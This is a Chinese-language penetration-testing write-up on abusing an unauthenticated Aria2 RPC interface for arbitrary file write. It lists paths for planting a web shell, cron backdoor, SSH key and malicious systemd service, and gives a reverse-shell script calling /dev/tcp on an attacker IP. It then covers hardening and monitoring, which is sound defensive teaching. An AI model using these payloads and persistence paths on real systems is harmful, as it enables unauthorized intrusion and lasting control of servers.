从一次内部渗透测试说起：利用Aria2任意文件写入漏洞，我是如何一步步拿到Shell的
渗透测试实战：Aria2 RPC服务漏洞的深度利用与防御思考
第一次注意到这台服务器是在例行扫描时发现的。6800端口——这个数字对大多数运维人员来说可能毫无意义，但对于熟悉Aria2配置的安全工程师而言，就像黑夜中的灯塔一样醒目。作为一款轻量级的多协议下载工具，Aria2在开发者群体中颇受欢迎，但很少有人意识到，默认配置下的RPC接口可能成为整个系统防线的突破口。
1. 目标识别与环境侦察
在真实的渗透测试场景中，信息收集的质量直接决定了后续攻击路径的可行性。当Nmap扫描报告显示目标服务器开放了6800端口时，我的第一反应是确认服务指纹：
nmap -sV -p 6800 192.168.1.105返回结果显示运行的是Aria2 1.32.0版本——这个版本恰好存在已知的任意文件写入漏洞。但先别急着兴奋，真实环境中总会遇到各种意外：
- 服务连通性验证：直接访问http://192.168.1.105:6800返回空白页面，这是正常现象，因为Aria2的RPC接口需要特定格式的请求
- 协议支持测试：尝试发送简单的JSON-RPC请求确认服务响应：
{ "jsonrpc": "2.0", "id": "1", "method": "aria2.getVersion" } - 权限验证：检查是否需要token认证（某些配置会启用--rpc-secret参数）
实际测试中遇到404错误时，不要立即放弃。Aria2的RPC接口路径可能需要完整URL，如http://ip:6800/jsonrpc
2. 漏洞利用链构建
确认基础环境后，接下来需要设计完整的攻击链条。Aria2的任意文件写入漏洞本质上是由于对下载文件保存路径缺乏足够限制，结合其RPC接口的未授权访问，形成了高危攻击面。
2.1 交互工具选择
虽然可以直接构造JSON请求，但使用可视化工具效率更高。Yaaw作为Aria2的Web前端，能显著降低操作复杂度：
| 工具名称 | 优点 | 缺点 |
|---|---|---|
| Yaaw | 界面直观，配置简单 | 功能相对基础 |
| AriaNg | 功能全面，支持多任务 | 需要额外部署 |
| 命令行curl | 灵活可控 | 学习成本高 |
配置Yaaw连接目标服务的步骤：
- 访问在线demo页面
- 点击设置图标进入配置
- 填写RPC地址为
http://目标IP:6800/jsonrpc - 测试连接状态
2.2 文件写入技术实现
核心思路是利用下载功能将恶意文件写入系统关键位置。以下是经过实战验证的有效路径：
- Web目录写入：
/var/www/html/shell.php - 定时任务注入：
/etc/cron.d/backdoor - SSH密钥植入：
~/.ssh/authorized_keys - 系统服务配置：
/lib/systemd/system/malicious.service
实际操作时需要特别注意：
- 目标系统的目录权限结构
- 文件命名避免触发安全机制
- 写入内容需要符合目标文件格式要求
# 示例：构造反弹shell的payload文件 echo '#!/bin/bash' > payload.sh echo '/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1' >> payload.sh chmod +x payload.sh3. 实战攻击路径演示
在测试环境中，我们模拟了完整的攻击生命周期。以下是关键节点的时间线：
初始访问（T1190）
- 利用公开RPC接口建立连接
- 验证漏洞存在性
执行恶意代码（T1059）
- 通过文件写入部署webshell
- 触发执行获取初始立足点
权限维持（T1136）
- 写入crontab实现持久化
- 创建隐藏后门账户
特别提醒：实际渗透测试必须获得书面授权，未经许可的测试可能涉及法律风险
4. 防御策略与加固建议
针对Aria2服务的防护应当从多个层面展开：
网络层控制
- 限制6800端口的访问来源（iptables/nftables）
- 部署网络入侵检测规则
服务配置加固
# 推荐的安全配置参数 --rpc-secret=ComplexPassword123! --rpc-listen-all=false --rpc-allow-origin-all=false系统层防护
- 定期更新Aria2到最新版本
- 配置文件完整性监控（如aide）
- 实施最小权限原则运行服务
监控与响应
- 日志记录所有RPC调用
- 设置异常下载行为告警
- 定期审计系统关键文件
在最近一次为客户做的安全评估中，我们发现超过60%的Aria2实例存在配置不当问题。有个有趣的案例：某公司的发布系统因为开发人员图方便，在临时服务器上开启了RPC接口却忘了关闭，导致整个代码仓库面临泄露风险。这提醒我们，技术债务的积累往往在不经意间埋下安全隐患。